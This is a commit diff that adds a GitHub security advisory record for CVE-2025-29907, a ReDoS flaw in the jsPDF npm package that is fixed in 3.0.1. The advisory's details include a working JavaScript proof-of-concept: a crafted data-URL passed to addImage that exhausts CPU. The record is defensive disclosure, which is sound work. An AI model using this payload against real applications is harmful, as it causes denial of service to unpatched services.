Publish GHSA-w532-jxjh-hjhj

2026-05-22 18:04:22 -07:00 · 2025-03-18 21:10:09 +00:00
parent e45714cf00
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+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-w532-jxjh-hjhj",
+  "modified": "2025-03-18T21:07:47Z",
+  "published": "2025-03-18T21:07:47Z",
+  "aliases": [
+    "CVE-2025-29907"
+  ],
+  "summary": "jsPDF Bypass Regular Expression Denial of Service (ReDoS)",
+  "details": "### Impact\nUser control of the first argument of the `addImage` method results in CPU utilization and denial of service.\n\nIf given the possibility to pass unsanitized image urls to the `addImage` method, a user can provide a harmful data-url that results in high CPU utilization and denial of service.\n\nOther affected methods are: `html`, `addSvgAsImage`.\n\nExample payload:\n```js\nimport { jsPDF } from \"jpsdf\" \n\nconst doc = new jsPDF();\nconst payload = 'data:/charset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=s\\x00base64,undefined';\n\nconst startTime = performance.now()\n\ntry {\n doc.addImage(payload, \"PNG\", 10, 40, 180, 180, undefined, \"SLOW\");\n} catch (err) {\n  const endTime = performance.now()\n  console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`)\n}\n\ndoc.save(\"a4.pdf\");\n```\n\n### Patches\nThe vulnerability was fixed in jsPDF 3.0.1. Upgrade to jspdf@>=3.0.1\n\n### Workarounds\nSanitize image urls before passing it to the `addImage` method or one of the other affected methods.\n\n### Credits\nResearcher: Aleksey Solovev (Positive Technologies)",
+  "severity": [
+    {
+      "type": "CVSS_V4",
+      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
+    }
+  ],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "npm",
+        "name": "jspdf"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "0"
+            },
+            {
+              "fixed": "3.0.1"
+            }
+          ]
+        }
+      ]
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/parallax/jsPDF/security/advisories/GHSA-w532-jxjh-hjhj"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/parallax/jsPDF/commit/b167c43c27c466eb914b927885b06073708338df"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/parallax/jsPDF"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-400",
+      "CWE-770"
+    ],
+    "severity": "HIGH",
+    "github_reviewed": true,
+    "github_reviewed_at": "2025-03-18T21:07:47Z",
+    "nvd_published_at": null
+  }
+}